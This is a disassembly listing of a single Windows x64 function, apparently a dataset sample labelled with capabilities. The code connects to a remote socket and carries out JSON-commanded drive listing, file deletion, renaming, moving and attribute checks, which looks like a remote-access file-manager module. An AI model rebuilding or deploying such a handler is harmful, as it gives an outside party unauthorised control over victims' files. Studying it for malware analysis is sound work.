Function at 0x140027fe0
Capabilities:
Check if file exists
Connect socket
Convert ip address from string
Delete directory
Delete file
Get file attributes
Initialize winsock library
Move file

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x420]
sub rsp, 0x520
mov rax, qword [0x14007c030]
xor rax, rsp
mov qword [rbp + 0x410], rax
mov r14d, edx
mov r15, rcx
mov qword [rbp + 0x100], rcx
xor r12d, r12d
mov dword [rsp + 0x30], r12d
xorps xmm0, xmm0
movups xmmword [rbp + 0x158], xmm0
mov qword [rbp + 0x168], r12
mov qword [rbp + 0x170], r12
mov r13d, 2
mov r8d, r13d
lea rdx, [0x140070e24]
lea rcx, [rbp + 0x158]
call fcn.14000b050
lea rdx, [rbp + 0x158]
mov rcx, r15
call fcn.14001f750
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x228], xmm0
mov qword [rbp + 0x238], r12
mov qword [rbp + 0x240], socket
mov byte [rbp + 0x228], r12b
mov dword [rsp + 0x30], 4
cmp byte [rax], 3
jne 0x140029612
mov rdx, qword [rax + 8]
lea rcx, [rbp + 0x228]
call fcn.14001efb0
nop
lea esi, [r12 + 3]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f8], xmm0
movups xmmword [rbp + 0x208], xmm0
lea rbx, [rbp + 0x228]
cmp qword [rbp + 0x240], 0x10
cmovae rbx, qword [rbp + 0x228]
mov qword [rbp + 0x1f8], rbx
mov dword [rbp + 0x200], r14d
mov qword [rbp + 0x210], 0x1000
mov ecx, 0x202
lea rdx, [rbp + 0x270]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x14002811d
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x1400281af
xor r8d, r8d
lea edx, [r8 + 1]
mov ecx, r13d
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
mov qword [rbp + 0x208], rax
mov word [rbp + 0x218], r13w
movzx ecx, r14w
call qword [sym.imp.WS2_32.dll_htons]
mov word [rbp + 0x21a], ax
lea r8, [rbp + 0x21c]
mov rdx, rbx
mov ecx, r13d
call qword [sym.imp.WS2_32.dll_inet_pton]
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp + 0x218]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x1400282d7
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ebx, eax
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov qword [rbp + 0x208], r12
mov byte [rbp + 0x204], 0
test ebx, ebx
je 0x1400282e0
xor ecx, ecx
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov qword [rbp + 0x208], r12
mov byte [rbp + 0x204], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x158], xmm0
mov qword [rbp + 0x168], r12
mov qword [rbp + 0x170], r12
mov r8d, reloc.WS2_32.dll_inet_ntoa
lea rdx, str.expl:connect
lea rcx, [rbp + 0x158]
call fcn.14000b050
nop
lea r8, [rbp + 0x158]
lea rdx, [rbp + 0xb0]
call fcn.14002c6c0
mov rcx, qword [rax]
mov dword [rcx + 0x40], r12d
mov rdx, qword [rbp + 0x170]
cmp rdx, 0x10
jb 0x140028259
inc rdx
mov rcx, qword [rbp + 0x158]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140028253
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140029658
call fcn.140035d80
nop
xor ecx, ecx
call qword [sym.imp.WS2_32.dll_closesocket]
nop
mov rdx, qword [rbp + 0x240]
cmp rdx, 0x10
jb 0x1400282a3
inc rdx
mov rcx, qword [rbp + 0x228]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002829e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002965e
call fcn.140035d80
mov qword [rbp + 0x238], r12
mov qword [rbp + 0x240], socket
mov byte [rbp + 0x228], 0
mov rcx, r15
call fcn.140009fd0
lea rcx, [r15 + 8]
movzx edx, byte [r15]
call fcn.140009b90
nop
jmp 0x1400295dc
mov byte [rbp + 0x204], 1
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x158], xmm0
mov qword [rbp + 0x168], r12
mov qword [rbp + 0x170], r12
mov r8d, reloc.WS2_32.dll_inet_ntoa
lea rdx, str.expl:connect
lea rcx, [rbp + 0x158]
call fcn.14000b050
nop
lea r8, [rbp + 0x158]
lea rdx, [rbp + 0x148]
call fcn.14002c6c0
mov rcx, qword [rax]
mov ebx, dword [rcx + 0x40]
mov rdx, qword [rbp + 0x170]
cmp rdx, 0x10
jb 0x14002836c
inc rdx
mov rcx, qword [rbp + 0x158]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140028367
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140029664
call fcn.140035d80
test ebx, ebx
je 0x1400294c6
mov qword [rsp + 0x30], r12
xorps xmm0, xmm0
movups xmmword [rbp + 0x1c8], xmm0
lea r8, [rsp + 0x30]
lea rdx, [rbp + 0x1c8]
lea rcx, [rbp + 0x1f8]
call fcn.140030450
nop
cmp qword [rbp + 0x1d0], 0
je 0x14002940a
mov rbx, qword [rsp + 0x30]
cmp rbx, 0x5f5e100
ja 0x14002940a
mov rdx, rbx
lea rcx, [rbp + 0x1c8]
call fcn.140007920
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.140007230
nop
lea rdx, [0x14007f578]
lea rcx, [rsp + 0x48]
call fcn.14002bed0
test al, al
je 0x140028403
mov rax, qword [0x14007f588]
cmp qword [rsp + 0x58], rax
je 0x1400293bb
xorps xmm0, xmm0
movups xmmword [rbp + 0x158], xmm0
mov qword [rbp + 0x168], r12
mov qword [rbp + 0x170], r12
mov r8d, 4
lea rdx, str.mode
lea rcx, [rbp + 0x158]
call fcn.14000b050
lea rdx, [rbp + 0x158]
lea rcx, [rsp + 0x48]
call fcn.14001f750
lea rdx, str.drives
mov rcx, rax
call fcn.14002c3c0
test al, al
je 0x140028619
lea rcx, [0x14007f2f0]
call fcn.140047bd0
mov rdx, rax
lea rcx, [rbp + 0x1d8]
call fcn.14001b6a0
nop
lea rdx, [rbp + 0x1d8]
lea rcx, [rbp + 0x158]
call fcn.140008de0
mov rdx, rax
lea rcx, [rbp + 0x248]
call fcn.14001b970
nop
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x248]
call fcn.140008520
mov rbx, qword [rax + 0x10]
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x1400284ea
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400284e5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002966a
call fcn.140035d80
mov qword [rsp + 0x30], r12
lea rcx, [rbx + 1]
call fcn.1400362b0
mov rdi, rax
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x248]
call fcn.140008520
cmp qword [rax + 0x18], 0x10
jb 0x140028515
mov rax, qword [rax]
mov r8, rbx
mov rdx, rax
mov rcx, rdi
call fcn.140037d00
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x14002855e
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140028559
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140029670
call fcn.140035d80
mov byte [rdi + rbx], 0
mov qword [rbp + 0xf8], r12
lea r8, [rbp + 0xc0]
lea rcx, [rbp + 0x118]
call fcn.14002c2b0
lea r9, [rsp + 0x30]
mov r8, rbx
mov rdx, rdi
mov rcx, rax
call fcn.1400074a0
mov rbx, rax
mov r8, qword [rsp + 0x30]
mov rdx, rax
lea rcx, [rbp + 0x1f8]
call fcn.140030480
mov rcx, rbx
call fcn.140035d80
nop
lea rcx, [rbp + 0x248]
call fcn.140009fd0
movzx edx, byte [rbp + 0x248]
lea rcx, [rbp + 0x250]
call fcn.140009b90
nop
mov rdx, qword [rbp + 0x1f0]
cmp rdx, 0x10
jb 0x140029352
inc rdx
mov rcx, qword [rbp + 0x1d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002860f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140029676
call fcn.140035d80
jmp 0x140029352
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], r12
mov r8d, 4
lea rdx, str.mode
lea rcx, [rsp + 0x60]
call fcn.14000b050
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x48]
call fcn.14001f750
lea rdx, [0x140070b28]
mov rcx, rax
call fcn.14002c3c0
xorps xmm0, xmm0
mov r8d, 4
test al, al
je 0x140028875
movups xmmword [rbp + 0x180], xmm0
mov qword [rbp + 0x190], r12
mov qword [rbp + 0x198], r12
lea rdx, str.path
lea rcx, [rbp + 0x180]
call fcn.14000b050
lea rdx, [rbp + 0x180]
lea rcx, [rsp + 0x48]
call fcn.14001f750
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a0], xmm0
mov qword [rbp + 0x1b0], r12
mov qword [rbp + 0x1b8], socket
mov byte [rbp + 0x1a0], 0
or esi, 0x20
mov dword [rsp + 0x30], esi
cmp byte [rax], 3
jne 0x140029688
mov rdx, qword [rax + 8]
lea rcx, [rbp + 0x1a0]
call fcn.14001efb0
and esi, 0xffffffdf
or esi, 0x18
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x1d8]
call fcn.140008de0
mov rdx, rax
lea rcx, [rbp + 0x258]
call fcn.14001c620
nop
lea rdx, [rbp + 0x158]
lea rcx, [rbp + 0x258]
call fcn.140008520
nop
mov rdi, qword [rbp + 0x168]
mov qword [rsp + 0x30], r12
mov rcx, rdi
call fcn.1400362b0
mov rbx, rax
lea rdx, [rbp + 0x158]
cmp qword [rbp + 0x170], 0x10
cmovae rdx, qword [rbp + 0x158]
mov r8, rdi
mov rcx, rax
call fcn.140037d00
mov qword [rbp + 0xf8], r12
lea r8, [rbp + 0xc0]
lea rcx, [rbp + 0x108]
call fcn.14002c2b0
lea r9, [rsp + 0x30]
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.1400074a0
mov rbx, rax
mov r8, qword [rsp + 0x30]
mov rdx, rax
lea rcx, [rbp + 0x1f8]
call fcn.140030480
mov rcx, rbx
call fcn.140035d80
nop
mov rdx, qword [rbp + 0x170]
cmp rdx, 0x10
jb 0x1400287f2
inc rdx
mov rcx, qword [rbp + 0x158]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400287ed
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002967c
call fcn.140035d80
mov qword [rbp + 0x168], r12
mov qword [rbp + 0x170], socket
mov byte [rbp + 0x158], 0
lea rcx, [rbp + 0x258]
call fcn.140009fd0
movzx edx, byte [rbp + 0x258]
lea rcx, [rbp + 0x260]
call fcn.140009b90
nop
mov rdx, qword [rbp + 0x1b8]
cmp rdx, 0x10
jb 0x140029352
inc rdx
mov rcx, qword [rbp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002886b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140029682
call fcn.140035d80
jmp 0x140029352
movups xmmword [rbp + 0x158], xmm0
mov qword [rbp + 0x168], r12
mov qword [rbp + 0x170], r12
lea rdx, str.mode
lea rcx, [rbp + 0x158]
call fcn.14000b050
lea rdx, [rbp + 0x158]
lea rcx, [rsp + 0x48]
call fcn.14001f750
lea rdx, [0x140070ea0]
mov rcx, rax
call fcn.14002c3c0
test al, al
je 0x140028bdf
mov byte [rbp - 0x18], 0
xor eax, eax
mov qword [rbp - 0x10], rax
xor edx, edx
lea rcx, [rbp - 0x10]
call fcn.140009b90
mov byte [rbp - 0x18], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x180], xmm0
mov ecx, 0x20
call fcn.140036024
mov rbx, rax
lea rax, [rbp + 0x1c2]
mov qword [rbp + 0x180], rax
mov qword [rbp + 0x188], rbx
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], r12
mov r8d, 7
lea rdx, str.deleted
mov rcx, rbx
call fcn.14000b050
test rbx, rbx
jne 0x14002894b
mov r8d, 0x4c6f
lea rdx, str.C:Users_sabanDesktopcpp_pro_tunax1packages_nlohmann.json.3.11.2_build_nativeinclude_nlohmannjson.hpp
lea rcx, str.obj___nullptr
call fcn.1400476a0
mov qword [rbp + 0x188], r12
mov qword [rbp - 0x10], rbx
mov qword [rbp - 8], r12
lea rax, [rbp + 0x1a0]
mov qword [rsp + 0x38], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x158], xmm0
mov qword [rbp + 0x168], r12
mov qword [rbp + 0x170], r12
mov r8d, 4
lea rdx, str.path
lea rcx, [rbp + 0x158]
call fcn.14000b050
lea rdx, [rbp + 0x158]
lea rcx, [rsp + 0x48]
call fcn.14001f750
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a0], xmm0
mov qword [rbp + 0x1b0], r12
mov qword [rbp + 0x1b8], socket
mov byte [rbp + 0x1a0], 0
bts esi, 8
mov dword [rsp + 0x30], esi
cmp byte [rax], 3
jne 0x1400296d3
mov rdx, qword [rax + 8]
lea rcx, [rbp + 0x1a0]
call fcn.14001efb0
btr esi, 8
or esi, 0xc0
lea rax, [rbp + 0x1a0]
mov qword [rsp + 0x38], rax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x1d8]
call fcn.140008de0
mov rcx, rax
call fcn.14001b540
mov rbx, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140028a3e
test al, 0x10
je 0x140028a3e
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
jmp 0x140028a47
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
setne dil
mov rcx, rbx
call fcn.140035d80
nop
mov rdx, qword [rbp + 0x1b8]
cmp rdx, 0x10
jb 0x140028a97
inc rdx
mov rcx, qword [rbp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140028a92
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400296cd
call fcn.140035d80
mov qword [rbp + 0x1b0], r12
mov qword [rbp + 0x1b8], socket
mov byte [rbp + 0x1a0], 0
mov byte [rbp], 0
xor eax, eax
mov qword [rbp + 8], rax
xor edx, edx
lea rcx, [rbp + 8]
call fcn.140009b90
mov byte [rbp], 4
mov byte [rbp - 0x48], dil
mov rax, qword [rbp - 0x48]
mov qword [rbp + 8], rax
mov qword [rbp + 0x10], r12
lea rax, [rbp - 0x18]
mov qword [rbp + 0xa0], rax
lea rax, [rbp + 0x18]
mov qword [rbp + 0xa8], rax
movaps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0x180], xmm0
mov r8b, 1
lea rdx, [rbp + 0x180]
lea rcx, [rsp + 0x60]
call fcn.14001eb50
mov qword [rsp + 0x70], r12
lea rax, [rsp + 0x60]
mov qword [rbp + 0x60], rax
lea rax, [rsp + 0x78]
mov qword [rbp + 0x68], rax
movaps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x180], xmm0
mov r8b, 1
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x20]
call fcn.14001eb50
nop
lea r9, [0x140007470]
mov edx, 0x18
lea r8d, [rdx - 0x17]
lea rcx, [rsp + 0x60]
call fcn.1400362e4
nop
lea r9, [0x140007470]
mov r8, r13
mov edx, 0x18
lea rcx, [rbp - 0x18]
call fcn.1400362e4
mov qword [rsp + 0x30], r12
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x128]
call fcn.140008740
lea r9, [rsp + 0x30]
xor r8d, r8d
xor edx, edx
mov rcx, rax
call fcn.1400074a0
mov rbx, rax
mov r8, qword [rsp + 0x30]
mov rdx, rax
lea rcx, [rbp + 0x1f8]
call fcn.140030480
mov rcx, rbx
call fcn.140035d80
nop
lea rcx, [rbp + 0x20]
call fcn.140009fd0
movzx edx, byte [rbp + 0x20]
lea rcx, [rbp + 0x28]
call fcn.140009b90
nop
jmp 0x140029352
xorps xmm0, xmm0
movups xmmword [rbp + 0x180], xmm0
mov qword [rbp + 0x190], r12
mov qword [rbp + 0x198], r12
mov r8d, 4
lea rdx, str.mode
lea rcx, [rbp + 0x180]
call fcn.14000b050
lea rdx, [rbp + 0x180]
lea rcx, [rsp + 0x48]
call fcn.14001f750
lea rdx, str.rename
mov rcx, rax
call fcn.14002c3c0
test al, al
je 0x140029046
mov byte [rbp - 0x80], 0
xor eax, eax
mov qword [rbp - 0x78], rax
xor edx, edx
lea rcx, [rbp - 0x78]
call fcn.140009b90
mov byte [rbp - 0x80], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x180], xmm0
mov ecx, 0x20
call fcn.140036024
mov rbx, rax
lea rax, [rbp + 0x1c0]
mov qword [rbp + 0x180], rax
mov qword [rbp + 0x188], rbx
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], r12
mov r8d, 7
lea rdx, str.renamed
mov rcx, rbx
call fcn.14000b050
test rbx, rbx
jne 0x140028cbe
mov r8d, 0x4c6f
lea rdx, str.C:Users_sabanDesktopcpp_pro_tunax1packages_nlohmann.json.3.11.2_build_nativeinclude_nlohmannjson.hpp
lea rcx, str.obj___nullptr
call fcn.1400476a0
mov qword [rbp + 0x188], r12
mov qword [rbp - 0x78], rbx
mov qword [rbp - 0x70], r12
lea rax, [rbp + 0x158]
mov qword [rsp + 0x38], rax
lea rax, [rbp + 0x1a0]
mov qword [rbp - 0x20], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], r12
mov qword [rbp - 0x28], r12
mov r8d, 7
lea rdx, str.newpath
lea rcx, [rbp - 0x40]
call fcn.14000b050
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x48]
call fcn.14001f750
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x158], xmm0
mov qword [rbp + 0x168], r12
mov qword [rbp + 0x170], socket
mov byte [rbp + 0x158], 0
bts esi, 0xb
mov dword [rsp + 0x30], esi
cmp byte [rax], 3
jne 0x14002976c
mov rdx, qword [rax + 8]
lea rcx, [rbp + 0x158]
call fcn.14001efb0
btr esi, 0xb
or esi, 0x600
lea rax, [rbp + 0x158]
mov qword [rbp + 0x180], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d8], xmm0
mov qword [rbp + 0x1e8], r12
mov qword [rbp + 0x1f0], r12
mov r8d, 4
lea rdx, str.path
lea rcx, [rbp + 0x1d8]
call fcn.14000b050
lea rdx, [rbp + 0x1d8]
lea rcx, [rsp + 0x48]
call fcn.14001f750
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a0], xmm0
mov qword [rbp + 0x1b0], r12
mov qword [rbp + 0x1b8], socket
mov byte [rbp + 0x1a0], 0
bts esi, 0xe
mov dword [rsp + 0x30], esi
cmp byte [rax], 3
jne 0x140029727
mov rdx, qword [rax + 8]
lea rcx, [rbp + 0x1a0]
call fcn.14001efb0
btr esi, 0xe
or esi, 0x3000
lea rax, [rbp + 0x1a0]
mov qword [rbp - 0x20], rax
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x1d8]
call fcn.140008de0
mov rcx, rax
call fcn.14001b540
mov rdi, rax
lea rdx, [rbp + 0x158]
lea rcx, [rbp - 0x40]
call fcn.140008de0
mov rcx, rax
call fcn.14001b540
mov rbx, rax
mov rdx, rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
setne r14b
mov rcx, rdi
call fcn.140035d80
mov rcx, rbx
call fcn.140035d80
nop
mov rdx, qword [rbp + 0x1b8]
cmp rdx, 0x10
jb 0x140028ead
inc rdx
mov rcx, qword [rbp + 0x1a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140028ea8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002971b
call fcn.140035d80
mov qword [rbp + 0x1b0], r12
mov qword [rbp + 0x1b8], socket
mov byte [rbp + 0x1a0], 0
mov rdx, qword [rbp + 0x170]
cmp rdx, 0x10
jb 0x140028f07
inc rdx
mov rcx, qword [rbp + 0x158]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140028f02
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140029721
call fcn.140035d80
mov qword [rbp + 0x168], r12
mov qword [rbp + 0x170], socket
mov byte [rbp + 0x158], 0
mov byte [rbp - 0x68], 0
xor eax, eax
mov qword [rbp - 0x60], rax
xor edx, edx
lea rcx, [rbp - 0x60]
call fcn.140009b90
mov byte [rbp - 0x68], 4
mov byte [rbp + 0x40], r14b
mov rax, qword [rbp + 0x40]
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], r12
lea rax, [rbp - 0x80]
mov qword [rbp + 0x70], rax
lea rax, [rbp - 0x50]
mov qword [rbp + 0x78], rax
movaps xmm0, xmmword [rbp + 0x70]
movdqa xmmword [rbp + 0x180], xmm0
mov r8b, 1
lea rdx, [rbp + 0x180]
lea rcx, [rsp + 0x60]
call fcn.14001eb50
mov qword [rsp + 0x70], r12
lea rax, [rsp + 0x60]
mov qword [rbp + 0x50], rax
lea rax, [rsp + 0x78]
mov qword [rbp + 0x58], rax
movaps xmm0, xmmword [rbp + 0x50]
movdqa xmmword [rbp + 0x180], xmm0
mov r8b, 1
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x30]
call fcn.14001eb50
nop
lea r9, [0x140007470]
mov edx, 0x18
lea r8d, [rdx - 0x17]
lea rcx, [rsp + 0x60]
call fcn.1400362e4
nop
lea r9, [0x140007470]
mov r8, r13
mov edx, 0x18
lea rcx, [rbp - 0x80]
call fcn.1400362e4
mov qword [rsp + 0x30], r12
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x138]
call fcn.140008740
lea r9, [rsp + 0x30]
xor r8d, r8d
xor edx, edx
mov rcx, rax
call fcn.1400074a0
mov rbx, rax
mov r8, qword [rsp + 0x30]
mov rdx, rax
lea rcx, [rbp + 0x1f8]
call fcn.140030480
mov rcx, rbx
call fcn.140035d80
nop
lea rcx, [rbp + 0x30]
call fcn.140009fd0
movzx edx, byte [rbp + 0x30]
lea rcx, [rbp + 0x38]
call fcn.140009b90
nop
jmp 0x140029352
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d8], xmm0
mov qword [rbp + 0x1e8], r12
mov qword [rbp + 0x1f0], r12
mov r8d, 4
lea rdx, str.mode
lea rcx, [rbp + 0x1d8]
call fcn.14000b050
lea rdx, [rbp + 0x1d8]
lea rcx, [rsp + 0x48]
call fcn.14001f750
lea rdx, str.edit
mov rcx, rax
call fcn.14002c3c0
test al, al
je 0x140029352
lea rax, [rbp + 0x158]
mov qword [rbp + 0x180], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d8], xmm0
mov qword [rbp + 0x1e8], r12
mov qword [rbp + 0x1f0], r12
mov r8d, 4
lea rdx, str.path
lea rcx, [rbp + 0x1d8]
call fcn.14000b050
lea rdx, [rbp + 0x1d8]
lea rcx, [rsp + 0x48]
call fcn.14001f750
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x158], xmm0
mov qword [rbp + 0x168], r12
mov qword [rbp + 0x170], socket
mov byte [rbp + 0x158], 0
bts esi, 0x11
mov dword [rsp + 0x30], esi
cmp byte [rax], 3
jne 0x1400297b7
mov rdx, qword [rax + 8]
lea rcx, [rbp + 0x158]
call fcn.14001efb0
btr esi, 0x11
or esi, 0x18000
lea rcx, [rbp + 0x158]
call fcn.14001b540
mov rdi, rax
mov byte [rbp - 0x80], 0
xor eax, eax
mov qword [rbp - 0x78], rax
xor edx, edx
lea rcx, [rbp - 0x78]
call fcn.140009b90
mov byte [rbp - 0x80], 3
xorps xmm0, xmm0
movups xmmword [rbp + 0x180], xmm0
mov ecx, 0x20
call fcn.140036024
mov rbx, rax
lea rax, [rbp + 0x1c1]
mov qword [rbp + 0x180], rax
mov qword [rbp + 0x188], rbx
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], r12
mov r8d, 6
lea rdx, str.isfile
mov rcx, rbx
call fcn.14000b050
test rbx, rbx
jne 0x1400291d3
mov r8d, 0x4c6f
lea rdx, str.C:Users_sabanDesktopcpp_pro_tunax1packages_nlohmann.json.3.11.2_build_nativeinclude_nlohmannjson.hpp
lea rcx, str.obj___nullptr
call fcn.1400476a0
mov qword [rbp + 0x188], r12
mov qword [rbp - 0x78], rbx
mov qword [rbp - 0x70], r12
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ebx, eax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1400291ff
test al, 0x10
jne 0x14002920d
cmp ebx, 0xffffffff
je 0x14002920d
test bl, 1
jne 0x14002920d
mov bl, 1
jmp 0x14002920f
xor bl, bl
mov byte [rbp - 0x68], 0
xor eax, eax
mov qword [rbp - 0x60], rax
xor edx, edx
lea rcx, [rbp - 0x60]
call fcn.140009b90
mov byte [rbp - 0x68], 4
mov byte [rsp + 0x40], bl
mov rax, qword [rsp + 0x40]
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], r12
lea rax, [rbp - 0x80]
mov qword [rbp + 0x90], rax
lea rax, [rbp - 0x50]
mov qword [rbp + 0x98], rax
movaps xmm0, xmmword [rbp + 0x90]
movdqa xmmword [rbp + 0x180], xmm0
mov r8b, 1
lea rdx, [rbp + 0x180]
lea rcx, [rsp + 0x60]
call fcn.14001eb50
mov qword [rsp + 0x70], r12
lea rax, [rsp + 0x60]
mov qword [rbp + 0x80], rax
lea rax, [rsp + 0x78]
mov qword [rbp + 0x88], rax
movaps xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0x180], xmm0
mov r8b, 1
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x218]
call fcn.14001eb50
nop
lea r9, [0x140007470]
mov edx, 0x18
lea r8d, [rdx - 0x17]
lea rcx, [rsp + 0x60]
call fcn.1400362e4
nop
lea r9, [0x140007470]
mov r8, r13
mov edx, 0x18
lea rcx, [rbp - 0x80]
call fcn.1400362e4
mov qword [rsp + 0x30], r12
lea rdx, [rbp + 0x218]
lea rcx, [rbp + 0xb0]
call fcn.140008740
lea r9, [rsp + 0x30]
xor r8d, r8d
xor edx, edx
mov rcx, rax
call fcn.1400074a0
mov rbx, rax
mov r8, qword [rsp + 0x30]
mov rdx, rax
lea rcx, [rbp + 0x1f8]
call fcn.140030480
mov rcx, rbx
call fcn.140035d80
nop
lea rcx, [rbp + 0x218]
call fcn.140009fd0
movzx edx, byte [rbp + 0x218]
lea rcx, [rbp + 0x220]
call fcn.140009b90
nop
mov rcx, qword [rsp + 0x58]
call fcn.140035d80
nop
lea rcx, [rsp + 0x48]
call fcn.140009fd0
movzx edx, byte [rsp + 0x48]
lea rcx, [rsp + 0x50]
call fcn.140009b90
nop
mov rcx, qword [rbp + 0x1c8]
mov rax, qword [rcx + 8]
mov qword [rax], r12
mov rcx, qword [rcx]
test rcx, rcx
je 0x1400293a5
nop dword [rax]
mov rbx, qword [rcx]
mov edx, 0x20
call fcn.140035d80
mov rcx, rbx
test rbx, rbx
jne 0x140029390
mov edx, 0x20
mov rcx, qword [rbp + 0x1c8]
call fcn.140035d80
jmp 0x1400282e0
lea rcx, [rsp + 0x48]
call fcn.140009fd0
movzx edx, byte [rsp + 0x48]
lea rcx, [rsp + 0x50]
call fcn.140009b90
nop
mov rcx, qword [rbp + 0x1c8]
mov rax, qword [rcx + 8]
mov qword [rax], r12
mov rcx, qword [rcx]
test rcx, rcx
je 0x1400294b5
nop
mov rbx, qword [rcx]
mov edx, 0x20
call fcn.140035d80
mov rcx, rbx
test rbx, rbx
jne 0x1400293f0
jmp 0x1400294b5
mov rdi, qword [rbp + 0x1c8]
mov rbx, qword [rdi]
cmp rbx, rdi
je 0x140029440
nop dword [rax]
mov rcx, qword [rbx + 0x18]
test rcx, rcx
je 0x14002942e
call fcn.140035d80
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rdi
jne 0x140029420
mov rdi, qword [rbp + 0x1c8]
mov rax, qword [rdi + 8]
mov qword [rax], r12
mov rcx, qword [rdi]
test rcx, rcx
je 0x140029465
nop
mov rbx, qword [rcx]
mov edx, 0x20
call fcn.140035d80
mov rcx, rbx
test rbx, rbx
jne 0x140029450
